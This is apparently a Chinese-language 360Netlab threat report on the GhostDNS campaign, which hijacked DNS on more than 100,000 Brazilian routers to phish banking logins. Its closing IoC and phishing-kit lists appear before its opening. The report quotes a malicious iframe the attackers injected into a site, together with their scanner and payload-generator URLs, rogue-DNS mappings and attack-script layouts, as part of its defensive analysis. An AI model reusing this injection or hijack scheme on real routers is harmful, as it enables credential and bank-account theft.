['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php'] d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php'] fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php'] ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php'] </code></pre> <p>以下是其它Phishing Web Server列表</p> <pre><code>193.70.95.89 &quot;AS16276 OVH SAS&quot; 198.27.121.241 &quot;AS16276 OVH SAS&quot; 35.237.127.167 &quot;AS15169 Google LLC&quot; </code></pre> <h3 id="">被感染的路由器信息</h3> <p>通过9月21号～9月27号的GhostDNS系统日志，我们观察到其已经感染了 <strong>100k+</strong> 个路由器IP地址，<strong>70+</strong> 款路由器型号。根据国家进行统计巴西占比87.8%。由于路由器设备IP地址会动态更新，实际设备数会有所不同。</p> <p><img src="__GHOST_URL__/content/images/2018/09/victims.png" alt="GhostDNS" loading="lazy"></p> <center>图5：被感染的路由器IP 国家/地区分布</center> <p>以下是被感染的路由器IP 国家/地区详细列表</p> <pre><code>BR 91605 BO 7644 AR 2581 SX 339 MX 265 VE 219 US 191 UY 189 CL 138 CO 134 GT 80 EC 71 GY 70 RU 61 RO 51 PY 38 PA 35 UA 34 HN 33 BG 33 </code></pre> <p>以下是感染成功的路由器Web管理页面title列表</p> <pre><code>28ZE ADSL2 PLUS AIROS AN550602B BaseDashboard C3T Routers DIR600 1 DIR-615 DLINK Dlink DIR-610 Dlink DIR-611 DLINK DIR-905L DSL Router DSL Router - GKM 1220 ELSYS CPE-2N FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520 FiberLink101 GoAhead-Boa GoAhead-Webs GoAhead-Webs Routers GoAhed 302 GOTHAN GREATEK GWR-120 KP8696X Link One Mini_httpd Multilaser Router OIWTECH Proqualit Router Realtek Semiconductor Realtek Semiconductor [Title] Roteador ADSL Roteador Wireless KLR 300N Roteador Wireless N 150Mbps Roteador Wireless N 150 Mbps Roteador Wireless N 300 Mbps Roteador Wireless N 300 Mbps [ LinkOne ] Roteador Wireless N 300 Mbps [Link One] Roteador Wireless N ( MultiLaser ) Roteador Wireless N [ MultiLaser ] TENDA TimDSL TL-WR740N / TL-WR741ND TL-WR840N TL-WR849N TP-LINK Nano WR702N TP-LINK Roteador Wireless TP-LINK Roteador Wireless N WR741ND TP-LINK TL-WR941HP TP-LINK Wireless AP WA5210G TP-LINK Wireless Lite N Router WR740N TP-LINK Wireless Lite N Router WR749N TP-LINK Wireless N Gigabit Router WR1043ND TP-LINK Wireless N Router WR841N/WR841ND TP-LINK Wireless N Router WR845N TP-LINK Wireless N Router WR941ND TP-LINK Wireless Router TP-LINK WR340G TP-LINK WR720N TP-LINK WR740N TP-LINK WR741N TP-LINK WR743ND TP-LINK WR840N TP-LINK WR841HP TP-LINK WR841N TP-LINK WR940N TP-LINK WR941N TP-LINK WR949N Wireless-N Router Wireless Router WLAN AP Webserver ZNID </code></pre> <h3 id="">总结</h3> <p>GhostDNS攻击程序和攻击入口多样性，攻击流程自动化，规模化，已经对互联网造成严重的安全威胁。</p> <p>我们特别建议巴西家庭宽带用户及时更新路由器软件系统，检查路由器DNS地址是否已经被篡改，同时给路由器Web设置复杂的登录凭证。</p> <p>我们建议相关路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。</p> <p>相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <h4 id="ioclist">IoC list</h4> <pre><code>#Pishing Web Server [takendown] 193.70.95.89 &quot;AS16276 OVH SAS&quot; [takendown] 198.27.121.241 &quot;AS16276 OVH SAS&quot; [takendown] 35.237.127.167 &quot;AS15169 Google LLC&quot; #Rogue DNS Server 139.60.162.188 &quot;AS395839 HOSTKEY&quot; 139.60.162.201 &quot;AS395839 HOSTKEY&quot; 173.82.168.104 &quot;AS35916 MULTACOM CORPORATION&quot; 18.223.2.98 &quot;AS16509 Amazon.com, Inc.&quot; 185.70.186.4 &quot;AS57043 Hostkey B.v.&quot; 200.196.240.104 &quot;AS11419 Telefonica Data S.A.&quot; 200.196.240.120 &quot;AS11419 Telefonica Data S.A.&quot; 80.211.37.41 &quot;AS31034 Aruba S.p.A.&quot; [takendown] 35.185.9.164 &quot;AS15169 Google LLC&quot; [takendown] 144.22.104.185 &quot;AS7160 Oracle Corporation&quot; [takendown] 192.99.187.193 &quot;AS16276 OVH SAS&quot; [takendown] 198.27.121.241 &quot;AS16276 OVH SAS&quot; #Web Admin Server [takendown] 198.50.222.139 &quot;AS16276 OVH SAS&quot; #DNSChanger Scanner Server [takendown] 104.196.177.180 &quot;AS15169 Google LLC&quot; [takendown] 104.196.232.200 &quot;AS15169 Google LLC&quot; [takendown] 104.197.106.6 &quot;AS15169 Google LLC&quot; [takendown] 104.198.54.181 &quot;AS15169 Google LLC&quot; [takendown] 104.198.77.60 &quot;AS15169 Google LLC&quot; [takendown] 198.50.222.139 &quot;AS16276 OVH SAS&quot; [takendown] 35.185.127.39 &quot;AS15169 Google LLC&quot; [takendown] 35.185.9.164 &quot;AS15169 Google LLC&quot; [takendown] 35.187.149.224 &quot;AS15169 Google LLC&quot; [takendown] 35.187.202.208 &quot;AS15169 Google LLC&quot; [takendown] 35.187.238.80 &quot;AS15169 Google LLC&quot; [takendown] 35.188.134.185 &quot;AS15169 Google LLC&quot; [takendown] 35.189.101.217 &quot;AS15169 Google LLC&quot; [takendown] 35.189.125.149 &quot;AS15169 Google LLC&quot; [takendown] 35.189.30.127 &quot;AS15169 Google LLC&quot; [takendown] 35.189.59.155 &quot;AS15169 Google LLC&quot; [takendown] 35.189.63.168 &quot;AS15169 Google LLC&quot; [takendown] 35.189.92.68 &quot;AS15169 Google LLC&quot; [takendown] 35.194.197.94 &quot;AS15169 Google LLC&quot; [takendown] 35.195.116.90 &quot;AS15169 Google LLC&quot; [takendown] 35.195.176.44 &quot;AS15169 Google LLC&quot; [takendown] 35.196.101.227 &quot;AS15169 Google LLC&quot; [takendown] 35.197.148.253 &quot;AS15169 Google LLC&quot; [takendown] 35.197.172.214 &quot;AS15169 Google LLC&quot; [takendown] 35.198.11.42 &quot;AS15169 Google LLC&quot; [takendown] 35.198.31.197 &quot;AS15169 Google LLC&quot; [takendown] 35.198.5.34 &quot;AS15169 Google LLC&quot; [takendown] 35.198.56.227 &quot;AS15169 Google LLC&quot; [takendown] 35.199.106.0 &quot;AS15169 Google LLC&quot; [takendown] 35.199.2.186 &quot;AS15169 Google LLC&quot; [takendown] 35.199.61.19 &quot;AS15169 Google LLC&quot; [takendown] 35.199.66.147 &quot;AS15169 Google LLC&quot; [takendown] 35.199.77.82 &quot;AS15169 Google LLC&quot; [takendown] 35.200.179.26 &quot;AS15169 Google LLC&quot; [takendown] 35.200.28.69 &quot;AS15169 Google LLC&quot; [takendown] 35.203.111.239 &quot;AS15169 Google LLC&quot; [takendown] 35.203.135.65 &quot;AS15169 Google LLC&quot; [takendown] 35.203.143.138 &quot;AS15169 Google LLC&quot; [takendown] 35.203.167.224 &quot;AS15169 Google LLC&quot; [takendown] 35.203.18.30 &quot;AS15169 Google LLC&quot; [takendown] 35.203.183.182 &quot;AS15169 Google LLC&quot; [takendown] 35.203.25.136 &quot;AS15169 Google LLC&quot; [takendown] 35.203.3.16 &quot;AS15169 Google LLC&quot; [takendown] 35.203.48.110 &quot;AS15169 Google LLC&quot; [takendown] 35.203.5.160 &quot;AS15169 Google LLC&quot; [takendown] 35.203.8.203 &quot;AS15169 Google LLC&quot; [takendown] 35.204.146.109 &quot;AS15169 Google LLC&quot; [takendown] 35.204.51.103 &quot;AS15169 Google LLC&quot; [takendown] 35.204.77.160 &quot;AS15169 Google LLC&quot; [takendown] 35.204.80.189 &quot;AS15169 Google LLC&quot; [takendown] 35.205.148.72 &quot;AS15169 Google LLC&quot; [takendown] 35.205.24.104 &quot;AS15169 Google LLC&quot; [takendown] 35.221.110.75 &quot;AS19527 Google LLC&quot; [takendown] 35.221.71.123 &quot;AS19527 Google LLC&quot; [takendown] 35.227.25.22 &quot;AS15169 Google LLC&quot; [takendown] 35.228.156.223 &quot;AS15169 Google LLC&quot; [takendown] 35.228.156.99 &quot;AS15169 Google LLC&quot; [takendown] 35.228.240.14 &quot;AS15169 Google LLC&quot; [takendown] 35.228.244.19 &quot;AS15169 Google LLC&quot; [takendown] 35.228.73.198 &quot;AS15169 Google LLC&quot; [takendown] 35.228.90.15 &quot;AS15169 Google LLC&quot; [takendown] 35.230.104.237 &quot;AS15169 Google LLC&quot; [takendown] 35.230.158.25 &quot;AS15169 Google LLC&quot; [takendown] 35.230.162.54 &quot;AS15169 Google LLC&quot; [takendown] 35.230.165.35 &quot;AS15169 Google LLC&quot; [takendown] 35.231.163.40 &quot;AS15169 Google LLC&quot; [takendown] 35.231.60.255 &quot;AS15169 Google LLC&quot; [takendown] 35.231.68.186 &quot;AS15169 Google LLC&quot; [takendown] 35.232.10.244 &quot;AS15169 Google LLC&quot; [takendown] 35.234.131.31 &quot;AS15169 Google LLC&quot; [takendown] 35.234.136.116 &quot;AS15169 Google LLC&quot; [takendown] 35.234.156.85 &quot;AS15169 Google LLC&quot; [takendown] 35.234.158.120 &quot;AS15169 Google LLC&quot; [takendown] 35.234.77.117 &quot;AS15169 Google LLC&quot; [takendown] 35.234.89.25 &quot;AS15169 Google LLC&quot; [takendown] 35.234.94.97 &quot;AS15169 Google LLC&quot; [takendown] 35.236.117.108 &quot;AS15169 Google LLC&quot; [takendown] 35.236.2.49 &quot;AS15169 Google LLC&quot; [takendown] 35.236.222.1 &quot;AS15169 Google LLC&quot; [takendown] 35.236.246.82 &quot;AS15169 Google LLC&quot; [takendown] 35.236.25.247 &quot;AS15169 Google LLC&quot; [takendown] 35.236.254.11 &quot;AS15169 Google LLC&quot; [takendown] 35.236.34.51 &quot;AS15169 Google LLC&quot; [takendown] 35.237.127.167 &quot;AS15169 Google LLC&quot; [takendown] 35.237.204.11 &quot;AS15169 Google LLC&quot; [takendown] 35.237.215.211 &quot;AS15169 Google LLC&quot; [takendown] 35.237.32.144 &quot;AS15169 Google LLC&quot; [takendown] 35.237.68.143 &quot;AS15169 Google LLC&quot; [takendown] 35.238.4.122 &quot;AS15169 Google LLC&quot; [takendown] 35.238.74.24 &quot;AS15169 Google LLC&quot; [takendown] 35.240.156.17 &quot;AS15169 Google LLC&quot; [takendown] 35.240.212.106 &quot;AS15169 Google LLC&quot; [takendown] 35.240.234.169 &quot;AS15169 Google LLC&quot; [takendown] 35.240.94.181 &quot;AS15169 Google LLC&quot; [takendown] 35.241.151.23 &quot;AS15169 Google LLC&quot; [takendown] 35.242.134.99 &quot;AS15169 Google LLC&quot; [takendown] 35.242.140.13 &quot;AS15169 Google LLC&quot; [takendown] 35.242.143.117 &quot;AS15169 Google LLC&quot; [takendown] 35.242.152.241 &quot;AS15169 Google LLC&quot; [takendown] 35.242.203.94 &quot;AS15169 Google LLC&quot; [takendown] 35.242.245.109 &quot;AS15169 Google LLC&quot; [takendown] 40.74.85.45 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <!--kg-card-end: markdown-->

背景介绍 从2018年9月20号开始，360Netlab Anglerfish蜜罐系统监测到互联网上有大量IP正在针对性地扫描路由器系统。攻击者尝试对路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server[1] 。 我们共发现3套成熟的DNSChanger程序，根据其编程语言特性我们将它们分别命名为Shell DNSChanger，Js DNSChanger，PyPhp DNSChanger。目前这3套DNSChanger程序由同一个恶意软件团伙运营，其中以PyPhp DNChanger部署规模最大。根据其功能特性，我们将它们统一命名为DNSChanger System。 事实上DNSChanger System是该恶意软件软件团伙运营系统中的一个子系统，其它还包括：Phishing Web System，Web Admin System，Rogue DNS System。这4个系统之间相互协同运作实现DNS劫持功能，我们将这整个系统命名为GhostDNS。 我们发现一伙攻击者利用GhostDNS系统攻击了巴西地区超过 70 种、100,000 个家用路由器，通过篡改这些路由器上的配置，攻击者劫持了这些路由器的DNS解析，并进一步窃取了路由器用户在 50+ 网站上的登录凭证、银行帐号等信息。被劫持通信的网站主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。 GhostDNS系统 GhostDNS系统是由4个子系统组成，分别是：DNSChanger System，Phishing Web System，Web Admin System，Rogue DNS System等。其中DNSChanger System中主要包括信息搜集，漏洞利用等阶段，另外在3套DNSChanger程序中也会有不同的实现方式。 图1：GhostDNS流程图 DNSChanger System DNSChanger System是GhostDNS的基础架构，攻击者通过3套DNSChanger程序，覆盖外网和内网攻击入口，包含 100+ 个攻击脚本，影响 70+ 款路由器型号。 图2：3套DNSChanger程序对比图 Shell DNSChanger 分析 Shell DNSChanger最后一次更新时间在2016年6月左右，主要通过Shell 编写完成共涉及25个攻击脚本，可以感染21款路由器/固件。它的功能结构主要分为：扫描程序和攻击程序。攻击者目前对Shell DNSChanger程序部署量很少，基本已经淘汰了该程序。 攻击者采用了一款第三方程序 Fast HTTP Auth Scanner v0.6（FScan）作为扫描程序，同时配置了大量扫描规则,用户口令列表以及一些启动脚本。Fscan扫描IP范围是经过挑选的一个网段列表，同时这些网段IP大部分都归属于巴西。 攻击程序通过扫描程序搜集到的路由器设备信息，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。 以下是Shell DNSChanger关键代码结构 ├── brasil ├── changers │   ├── 3com1 │   ├── aprouter │   ├── dlink1 │   ├── dlink2 │   ├── dlink3 │   ├── dlink4 │   ├── dlink5 │   ├── dlink6 │   ├── dlink7 │   ├── dlink7_ │   ├── globaltronic │   ├── huawei │   ├── intelbrass │   ├── kaiomy │   ├── mikrotik │   ├── oiwtech │   ├── ralink │   ├── realtek │   ├── speedstream │   ├── speedtouch │   ├── speedtouch2 │   ├── tplink1 │   ├── tplink2 │   ├── tplink3 │   ├── triz │   └── viking ├── configs ├── logs ├── mdetector ├── mikrotik ├── ralink ├── src │   ├── BasicAuth.cpp │   ├── Makefile │   ├── Net-Telnet-3.03.tar.gz │   ├── base64.cpp │   ├── config.cpp │   ├── fscan.cpp │   ├── md5.cpp │   ├── md5.h │   ├── sockets.cpp │   ├── sslscanner.h │   ├── ulimit │   └── webforms.cpp ├── .fscan └── .timeout 以下是已识别受影响的路由器/固件 3COM OCR-812 AP-ROUTER D-LINK D-LINK DSL-2640T D-LINK DSL-2740R D-LINK DSL-500 D-LINK DSL-500G/DSL-502G Huawei SmartAX MT880a Intelbras WRN240-1 Kaiomy Router MikroTiK Routers OIWTECH OIW-2415CPE Ralink Routers SpeedStream SpeedTouch Tenda TP-LINK TD-W8901G/TD-W8961ND/TD-8816 TP-LINK TD-W8960N TP-LINK TL-WR740N TRIZ TZ5500E/VIKING VIKING/DSLINK 200 U/E Js DNSChanger 分析 Js DNSChanger主要通过Java Script编写完成共涉及10个攻击脚本，可以感染6款路由器/固件。它的功能结构主要分为扫描程序，Payload生成器和攻击程序。Js DNSChanger程序一般会注入到一些钓鱼网站代码中，和Pishing Web System协同工作。 我们在 35.236.25.247（网站标题为：Convertidor Youtube Mp3 | Mp3 youtube）首页发现了Js DNSChanger代码。 <iframe src="http://193.70.95.89/2021/" frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe> 攻击者通过Image()函数对一个预定义的内网IP地址进行端口扫描，如果检测到端口开放会将该内网IP上报给Payload生成器。 #扫描程序 http://193.70.95.89/2021/index2.php Payload生成器会根据路由器IP和Rogue DNS IP生成相应Base64编码的Payload，然后通过Data URI Scheme形式运行相应HTML代码。 #Payload生成器 http://193.70.95.89/2021/api.init.php?d=192.168.1.1 攻击程序通过jQuery.ajax构造相应Http请求，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。 以下是Js DNSChanger部分代码结构： ├── api.init.php ├── index.php └── index2.php 以下是已识别受影响的路由器/固件 A-Link WL54AP3 / WL54AP2 D-Link DIR-905L Roteador GWR-120 Secutech RiS Firmware SMARTGATE TP-Link TL-WR841N / TL-WR841ND 以下是其扫描IP范围 192.168.0.1 192.168.15.1 192.168.1.1 192.168.25.1 192.168.100.1 10.0.0.1 192.168.2.1 PyPhp DNSChanger 分析 PyPhp DNSChanger程序在2018年4月26号左右完成开发，主要通过python和php编写完成，共涉及 69 个攻击脚本，可以感染 47 款路由器/固件。它的功能结构主要分为Web API，扫描程序和攻击程序。攻击者一般会在云服务器部署大量PyPhp DNSChanger程序实例，这也是攻击采用的DNSChanger主要攻击手段。我们已累计发现 100+ PyPhp DNSChanger扫描节点，其中有大量IP位于Google云。 Web API是和Admin Web System通信的接口，攻击者可以通过它控制各个扫描节点，比如执行扫描任务等。 扫描程序包括Masscan端口扫描和利用Shodan API筛选banner特征获取到相应路由器设备IP信息。Masscan扫描IP范围是经过挑选的一个网段列表，这些网段IP大部分都归属于巴西。另外Shodan API搜索条件也限制了只搜索巴西国家。 有意思的是我们在Github上发现一个项目跟攻击者使用相同的Shodan API Key，并且这个Key是属于教育研究用途，但我们不确定这个Shodan API Key是否因泄漏而导致被攻击者利用。 以下是攻击者使用的Shodan API Key信息 API key: LI****Lg9P8****X5iy****AaRO Created: 2017-11-03T16:55:13.425000 Plan: EDU 攻击程序会根据扫描程序搜集到的路由器IP信息，对这些路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。 另外，PyPhp DNSChanger程序还存在感染成功统计页面，可以清楚地看到每个扫描节点的感染情况。 图3：一个PyPhp DNSChanger扫描节点统计页面 以下是PyPhp DNSChanger部分代码结构 ├── api ├── application │   ├── class │   │   ├── routers │   │   │   ├── routers.28ZE.php │   │   │   ├── routers.AN5506-02-B.php │   │   │   ├── routers.ELSYSCPE-2N.php │   │   │   ├── routers.PQWS2401.php │   │   │   ├── routers.TLWR840N.php │   │   │   ├── routers.WR941ND.php │   │   │   ├── routers.airos.php │   │   │   ├── routers.c3t.php │   │   │   ├── routers.cisconew.php │   │   │   ├── routers.dlink.905.php │   │   │   ├── routers.dlink.dir600.php │   │   │   ├── routers.dlink.dir610.php │   │   │   ├── routers.dlink.dir610o.php │   │   │   ├── routers.dlink.dir615.php │   │   │   ├── routers.fiberhome.php │   │   │   ├── routers.fiberhomenew.php │   │   │   ├── routers.ghotanboa.php │   │   │   ├── routers.goahed.php │   │   │   ├── routers.greatek.php │   │   │   ├── routers.greatek2.php │   │   │   ├── routers.gwr120.php │   │   │   ├── routers.huawei.php │   │   │   ├── routers.intelbras.php │   │   │   ├── routers.intelbras.wrn240.php │   │   │   ├── routers.intelbras.wrn300.php │   │   │   ├── routers.intelbrasN150.php │   │   │   ├── routers.linkone.php │   │   │   ├── routers.livetimdslbasic.php │   │   │   ├── routers.livetimsagecom.php │   │   │   ├── routers.mikrotkit.php │   │   │   ├── routers.multilaser.php │   │   │   ├── routers.oiwtech.php │   │   │   ├── routers.othermodels.php │   │   │   ├── routers.sharecenter.php │   │   │   ├── routers.thomson.php │   │   │   ├── routers.timdsl.php │   │   │   ├── routers.timvmg3312.php │   │   │   ├── routers.wirelessnrouter.php │   │   │   ├── routers.wrn1043nd.php │   │   │   ├── routers.wrn342.php │   │   │   ├── routers.wrn720n.php │   │   │   ├── routers.wrn740n.php │   │   │   ├── routers.wrn749n.php │   │   │   ├── routers.wrn840n.php │   │   │   ├── routers.wrn841n.php │   │   │   └── routers.wrn845n.php │   │   ├── routers_py │   │   │   ├── WR300build8333.py │   │   │   ├── install.sh │   │   │   ├── router.ArcherC7.py │   │   │   ├── router.FiberLink101.py │   │   │   ├── router.GEPONONU.py │   │   │   ├── router.PNRT150M.py │   │   │   ├── router.QBR1041WU.py │   │   │   ├── router.RoteadorWirelessN300Mbps.py │   │   │   ├── router.SAPIDORB1830.py │   │   │   ├── router.TENDAWirelessNBroadbandrouter.py │   │   │   ├── router.TLWR840N.py │   │   │   ├── router.TLWR841N.py │   │   │   ├── router.TLWR849N.py │   │   │   ├── router.TPLINKWR841N.py │   │   │   ├── router.TechnicLanWAR54GSv2.py │   │   │   ├── router.TendaWirelessRouter.py │   │   │   ├── router.WEBManagementSystem.py │   │   │   ├── router.WLANBroadbandRouter.py │   │   │   ├── router.WebUI.py │   │   │   ├── router.WirelessNWRN150R.py │   │   │   ├── router.WirelessRouter.py │   │   │   ├── router.WiveNGMTrouterfirmware.py │   │   │   ├── router.ZXHNH208N.py │   │   │   └── scan │   │   │   ├── __init__.py │   │   │   └── password.py │   │   ├── scanner │   │   │   └── class.scanner.utils.php │   │   ├── shodan │   │   │   ├── class.shodan.php │   │   │   └── cookie.txt │   │   ├── utils │   │   │   ├── class.colors.php │   │   │   ├── class.utils.php │   │   │   └── class.webrequest.php │   │   └── web │   │   ├── blockedtitles │   │   ├── class.web.api.php │   │   └── class.web.interface.php │   ├── config.bruteforce.php │   ├── config.init.php │   ├── config.layout.php │   ├── config.rangelist - bkp.php │   ├── config.rangelist.php │   ├── config.routers.php │   ├── config.scanner.php │   ├── launchers │   │   └── attack │   │   └── launch │   └── logs ├── logs │   ├── change.log │   └── gravar.php ├── parse_logs └── scanner ├── api.php ├── extrator.php ├── ranged_scanner.php ├── rodar.php ├── rodarlista.php ├── shodan.php └── teste.py 以下是已识别受影响的路由器/固件 AirRouter AirOS Antena PQWS2401 C3-TECH Router Cisco Router D-Link DIR-600 D-Link DIR-610 D-Link DIR-615 D-Link DIR-905L D-Link ShareCenter Elsys CPE-2n Fiberhome Fiberhome AN5506-02-B Fiberlink 101 GPON ONU Greatek GWR 120 Huawei Intelbras WRN 150 Intelbras WRN 240 Intelbras WRN 300 LINKONE MikroTik Multilaser OIWTECH PFTP-WR300 QBR-1041 WU Roteador PNRT150M Roteador Wireless N 300Mbps Roteador WRN150 Roteador WRN342 Sapido RB-1830 TECHNIC LAN WAR-54GS Tenda Wireless-N Broadband Router Thomson TP-Link Archer C7 TP-Link TL-WR1043ND TP-Link TL-WR720N TP-Link TL-WR740N TP-Link TL-WR749N TP-Link TL-WR840N TP-Link TL-WR841N TP-Link TL-WR845N TP-Link TL-WR849N TP-Link TL-WR941ND Wive-NG routers firmware ZXHN H208N Zyxel VMG3312 Web Admin System 我们对这个系统所了解的信息比较少，但是能够确认它是属于Web Admin System，并且跟PyPhp DNSChanger协同工作。 图4：Web Admin System登录界面 通过Web Admin System登陆框提示信息“Elite Priv8”，我们认为Elite是攻击者的一个标志，Priv8意思是“Private”。同时我们发现跟这个帖子《testador santander banking 2.1 versão beta elitepriv8》[2] 采用了同样的描述。 以下是Web Admin Server地址 198.50.222.139 "AS16276 OVH SAS" Rogue DNS System 通过对Rogue DNS Server（139.60.162.188）碰撞检测，我们共发现它劫持了52个域名，主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。 以下是Rogue DNS Server（139.60.162.188）劫持细节 {"domain": "avira.com.br", "rdata": ["0.0.0.0"]} {"domain": "banco.bradesco", "rdata": ["198.27.121.241"]} {"domain": "bancobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "bancodobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "bb.com.br", "rdata": ["193.70.95.89"]} {"domain": "bradesco.com.br", "rdata": ["193.70.95.89"]} {"domain": "bradesconetempresa.b.br", "rdata": ["193.70.95.89"]} {"domain": "bradescopj.com.br", "rdata": ["193.70.95.89"]} {"domain": "br.wordpress.com", "rdata": ["193.70.95.89"]} {"domain": "caixa.gov.br", "rdata": ["193.70.95.89"]} {"domain": "citibank.com.br", "rdata": ["193.70.95.89"]} {"domain": "clickconta.com.br", "rdata": ["193.70.95.89"]} {"domain": "contasuper.com.br", "rdata": ["193.70.95.89"]} {"domain": "credicard.com.br", "rdata": ["198.27.121.241"]} {"domain": "hostgator.com.br", "rdata": ["193.70.95.89"]} {"domain": "itau.com.br", "rdata": ["193.70.95.89"]} {"domain": "itaupersonnalite.com.br", "rdata": ["193.70.95.89"]} {"domain": "kinghost.com.br", "rdata": ["193.70.95.89"]} {"domain": "locaweb.com.br", "rdata": ["193.70.95.89"]} {"domain": "netflix.com.br", "rdata": ["35.237.127.167"]} {"domain": "netflix.com", "rdata": ["35.237.127.167"]} {"domain": "painelhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "santander.com.br", "rdata": ["193.70.95.89"]} {"domain": "santandernet.com.br", "rdata": ["193.70.95.89"]} {"domain": "sicredi.com.br", "rdata": ["193.70.95.89"]} {"domain": "superdigital.com.br", "rdata": ["193.70.95.89"]} {"domain": "umbler.com", "rdata": ["193.70.95.89"]} {"domain": "uolhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.banco.bradesco", "rdata": ["198.27.121.241"]} {"domain": "www.bancobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bb.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradesco.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradesconetempresa.b.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradescopj.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.br.wordpress.com", "rdata": ["193.70.95.89"]} {"domain": "www.caixa.gov.br", "rdata": ["193.70.95.89"]} {"domain": "www.citibank.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.credicard.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.hostgator.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.itau.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.kinghost.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.locaweb.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.netflix.com", "rdata": ["193.70.95.89"]} {"domain": "www.netflix.net", "rdata": ["193.70.95.89"]} {"domain": "www.painelhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.santander.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.santandernet.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.sicredi.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.superdigital.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.umbler.com", "rdata": ["193.70.95.89"]} {"domain": "www.uolhost.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.uolhost.uol.com.br", "rdata": ["193.70.95.89"]} 以下是其它Rogue DNS Server列表 139.60.162.188 "AS395839 HOSTKEY" 139.60.162.201 "AS395839 HOSTKEY" 144.22.104.185 "AS7160 Oracle Corporation" 173.82.168.104 "AS35916 MULTACOM CORPORATION" 18.223.2.98 "AS16509 Amazon.com, Inc." 185.70.186.4 "AS57043 Hostkey B.v." 192.99.187.193 "AS16276 OVH SAS" 198.27.121.241 "AS16276 OVH SAS" 200.196.240.104 "AS11419 Telefonica Data S.A." 200.196.240.120 "AS11419 Telefonica Data S.A." 35.185.9.164 "AS15169 Google LLC" 80.211.37.41 "AS31034 Aruba S.p.A." Phishing Web System Pishing Web System 需要跟Rogue DNS System协同工作，Rogue DNS Server会修改特定域名的A记录解析结果并返回一个Pishing Web Server地址，然后根据受害者请求的Hostname引导至相应的钓鱼网站程序。 通过对193.70.95.89所劫持的域名进行访问，我们发现攻击者克隆了相应官方网站的首页，并篡改了登录表单提交链接为Pishing Web API接口。然后我们对这些钓鱼网站首页进行指纹识别，计算首页文件md5，共检测到 19 款钓鱼网站程序。 以下是钓鱼程序列表： md5, url, hostname, pishing web api 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php'] 492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php'] 5838b749436a5730b0112a81d6818915 http://193.70.95.89 